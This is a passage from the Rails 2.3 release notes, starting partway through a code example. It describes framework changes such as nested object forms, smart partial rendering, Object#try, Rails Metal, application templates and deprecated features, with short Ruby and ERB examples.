if content_type && Mime::JS =~ content_type
  # do something cool
end

Mime::JS =~ "text/javascript"        => true
Mime::JS =~ "application/javascript" => true
```

The other change is that the framework now uses the `Mime::JS` when checking for JavaScript in various spots, making it handle those alternatives cleanly.

* Lead Contributor: [Seth Fitzsimmons](http://www.workingwithrails.com/person/5510-seth-fitzsimmons)

### [5.7. Optimization of `respond_to`](#optimization-of-respond-to)

In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the `respond_to` method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to `method_missing` and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple `respond_to` that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.

### [5.8. Improved Caching Performance](#improved-caching-performance)

Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to `MemCacheStore`, it is available to any remote store than implements the required methods.

* Lead Contributor: [Nahum Wild](http://www.motionstandingstill.com/)

### [5.9. Localized Views](#localized-views)

Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an array of the translations that are available in the current Rails project.

In addition, you can use the same scheme to localize the rescue files in the public directory: `public/500.da.html` or `public/404.en.html` work, for example.

### [5.10. Partial Scoping for Translations](#partial-scoping-for-translations)

A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call `translate(".foo")` from the `people/index.html.erb` template, you'll actually be calling `I18n.translate("people.index.foo")` If you don't prepend the key with a period, then the API doesn't scope, just as before.

### [5.11. Other Action Controller Changes](#other-action-controller-changes)

* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with `send_file`.
* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set `ActionController::Base.ip_spoofing_check = false` to disable the check entirely.
* `ActionController::Dispatcher` now implements its own middleware stack, which you can see by running `rake middleware`.
* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
* You can now use symbols for the `:type` option of `send_file` and `send_data`, like this: `send_file("fabulous.png", :type => :png)`.
* The `:only` and `:except` options for `map.resources` are no longer inherited by nested resources.
* The bundled memcached client has been updated to version 1.6.4.99.
* The `expires_in`, `stale?`, and `fresh_when` methods now accept a `:public` option to make them work well with proxy caching.
* The `:requirements` option now works properly with additional RESTful member routes.
* Shallow routes now properly respect namespaces.
* `polymorphic_url` does a better job of handling objects with irregular plural names.

## [6. Action View](#action-view)

Action View in Rails 2.3 picks up nested model forms, improvements to `render`, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.

### [6.1. Nested Object Forms](#nested-object-forms)

Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using `form_for` and `field_for`. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:

```
class Customer < ActiveRecord::Base
  has_many :orders

  accepts_nested_attributes_for :orders, :allow_destroy => true
end
```

You can write this view in Rails 2.3:

```
<% form_for @customer do |customer_form| %>
  <div>
    <%= customer_form.label :name, 'Customer Name:' %>
    <%= customer_form.text_field :name %>
  </div>

  <!-- Here we call fields_for on the customer_form builder instance.
   The block is called for each member of the orders collection. -->
  <% customer_form.fields_for :orders do |order_form| %>
    <p>
      <div>
        <%= order_form.label :number, 'Order Number:' %>
        <%= order_form.text_field :number %>
      </div>

  <!-- The allow_destroy option in the model enables deletion of
   child records. -->
      <% unless order_form.object.new_record? %>
        <div>
          <%= order_form.label :_delete, 'Remove:' %>
          <%= order_form.checkbox :_delete %>
        </div>
      <% end %>
    </p>
  <% end %>

  <%= customer_form.submit %>
<% end %>
```

* Lead Contributor: [Eloy Duran](http://superalloy.nl/)

* More Information:

  * [Nested Model Forms](https://rubyonrails.org/2009/1/26/nested-model-forms)
  * [complex-form-examples](https://github.com/alloy/complex-form-examples)
  * [What's New in Edge Rails: Nested Object Forms](http://archives.ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes)

### [6.2. Smart Rendering of Partials](#smart-rendering-of-partials)

The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):

```
# Equivalent of render :partial => 'articles/_article',
# :object => @article
render @article

# Equivalent of render :partial => 'articles/_article',
# :collection => @articles
render @articles
```

* More Information: [What's New in Edge Rails: render Stops Being High-Maintenance](http://archives.ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance)

### [6.3. Prompts for Date Select Helpers](#prompts-for-date-select-helpers)

In Rails 2.3, you can supply custom prompts for the various date select helpers (`date_select`, `time_select`, and `datetime_select`), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set `:prompt` to `true` to use the custom generic prompt:

```
select_datetime(DateTime.now, :prompt => true)

select_datetime(DateTime.now, :prompt => "Choose date and time")

select_datetime(DateTime.now, :prompt =>
  {:day => 'Choose day', :month => 'Choose month',
   :year => 'Choose year', :hour => 'Choose hour',
   :minute => 'Choose minute'})
```

* Lead Contributor: [Sam Oliver](http://samoliver.com/)

### [6.4. AssetTag Timestamp Caching](#assettag-timestamp-caching)

You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster". This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.

### [6.5. Asset Hosts as Objects](#asset-hosts-as-objects)

Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.

* More Information: [asset-hosting-with-minimum-ssl](https://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master)

### [6.6. grouped\_options\_for\_select Helper Method](#grouped-options-for-select-helper-method)

Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: `grouped_options_for_select`. This one accepts an array or hash of strings, and converts them into a string of `option` tags wrapped with `optgroup` tags. For example:

```
grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
  "Cowboy Hat", "Choose a product...")
```

returns

```
<option value="">Choose a product...</option>
<optgroup label="Hats">
  <option value="Baseball Cap">Baseball Cap</option>
  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
</optgroup>
```

### [6.7. Disabled Option Tags for Form Select Helpers](#disabled-option-tags-for-form-select-helpers)

The form select helpers (such as `select` and `options_for_select`) now support a `:disabled` option, which can take a single value or an array of values to be disabled in the resulting tags:

```
select(:post, :category, Post::CATEGORIES, :disabled => 'private')
```

returns

```
<select name="post[category]">
<option>story</option>
<option>joke</option>
<option>poem</option>
<option disabled="disabled">private</option>
</select>
```

You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:

```
options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
```

* Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/)
* More Information: [New in Rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](https://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections)

### [6.8. A Note About Template Loading](#a-note-about-template-loading)

Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.

In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your `production.rb` file:

```
config.action_view.cache_template_loading = true
```

This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.

### [6.9. Other Action View Changes](#other-action-view-changes)

* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by `ActiveSupport::SecureRandom` rather than mucking around with session IDs.
* `auto_link` now properly applies options (such as `:target` and `:class`) to generated e-mail links.
* The `autolink` helper has been refactored to make it a bit less messy and more intuitive.
* `current_page?` now works properly even when there are multiple query parameters in the URL.

## [7. Active Support](#active-support)

Active Support has a few interesting changes, including the introduction of `Object#try`.

### [7.1. Object#try](#object-try)

A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil.

* More Information: [try()](http://ozmm.org/posts/try.html)

### [7.2. Object#tap Backport](#object-tap-backport)

`Object#tap` is an addition to [Ruby 1.9](https://docs.ruby-lang.org/en/master/Kernel.html#method-i-tap) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.

### [7.3. Swappable Parsers for XMLmini](#swappable-parsers-for-xmlmini)

The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:

```
XmlMini.backend = 'LibXML'
```

* Lead Contributor: [Bart ten Brinke](http://www.movesonrails.com/)
* Lead Contributor: [Aaron Patterson](http://tenderlovemaking.com/)

### [7.4. Fractional seconds for TimeWithZone](#fractional-seconds-for-timewithzone)

The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does:

```
Time.zone.now.xmlschema(6) # => "2009-01-16T13:00:06.13653Z"
```

* Lead Contributor: [Nicholas Dainty](http://www.workingwithrails.com/person/13536-nicholas-dainty)

### [7.5. JSON Key Quoting](#json-key-quoting)

If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.

### [7.6. Other Active Support Changes](#other-active-support-changes)

* You can use `Enumerable#none?` to check that none of the elements match the supplied block.
* If you're using Active Support [delegates](https://afreshcup.com/home/2008/10/19/coming-in-rails-22-delegate-prefixes) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
* `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`.
* `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies).
* Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
* If you memoize a private method, the result will now be private.
* `String#parameterize` accepts an optional separator: `"Quick Brown Fox".parameterize('_') => "quick_brown_fox"`.
* `number_to_phone` accepts 7-digit phone numbers now.
* `ActiveSupport::Json.decode` now handles `\u0000` style escape sequences.

## [8. Railties](#railties)

In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.

### [8.1. Rails Metal](#rails-metal)

Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.

* More Information:

  * [Introducing Rails Metal](https://rubyonrails.org/2008/12/17/introducing-rails-metal)
  * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m)
  * [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html)
  * [What's New in Edge Rails: Rails Metal](http://archives.ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal)

### [8.2. Application Templates](#application-templates)

Rails 2.3 incorporates Jeremy McAnally's [rg](https://github.com/jm/rg) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application:

```
$ rake rails:template LOCATION=~/template.rb
```

This will layer the changes from the template on top of whatever code the project already contains.

* Lead Contributor: [Jeremy McAnally](http://www.jeremymcanally.com/)
* More Info:[Rails templates](http://m.onkey.org/2008/12/4/rails-templates)

### [8.3. Quieter Backtraces](#quieter-backtraces)

Building on thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a `config/backtrace_silencers.rb` file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.

### [8.4. Faster Boot Time in Development Mode with Lazy Loading/Autoload](#faster-boot-time-in-development-mode-with-lazy-loading-autoload)

Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer, and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.

You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.

### [8.5. rake gem Task Rewrite](#rake-gem-task-rewrite)

The internals of the various `rake gem` tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.

* Lead Contributor: [David Dollar](http://www.workingwithrails.com/person/12240-david-dollar)

### [8.6. Other Railties Changes](#other-railties-changes)

* The instructions for updating a CI server to build Rails have been updated and expanded.
* Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test.
* The default `environment.rb` file has been decluttered.
* The dbconsole script now lets you use an all-numeric password without crashing.
* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](https://afreshcup.wordpress.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`.
* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
* Rails Guides have been converted from AsciiDoc to Textile markup.
* Scaffolded views and controllers have been cleaned up a bit.
* `script/server` now accepts a `--path` argument to mount a Rails application from a specific path.
* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.

## [9. Deprecated](#deprecated)

A few pieces of older code are deprecated in this release:

* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs\_process\_scripts](https://github.com/rails/irs_process_scripts) plugin.
* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render\_component plugin](https://github.com/rails/render_component/tree/master).
* Support for Rails components has been removed.
* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request\_profiler plugin that you can install to get the exact same functionality back.
* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now.
* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect.
* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client.
* `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead.
* The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`.
* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connector`, `:two_words_connector`, and `:last_word_connector` options.
* Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.

## [10. Credits](#credits)

Release notes compiled by [Mike Gunderloy](http://afreshcup.com). This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.

***

***

[Back to top](#main-skip-link)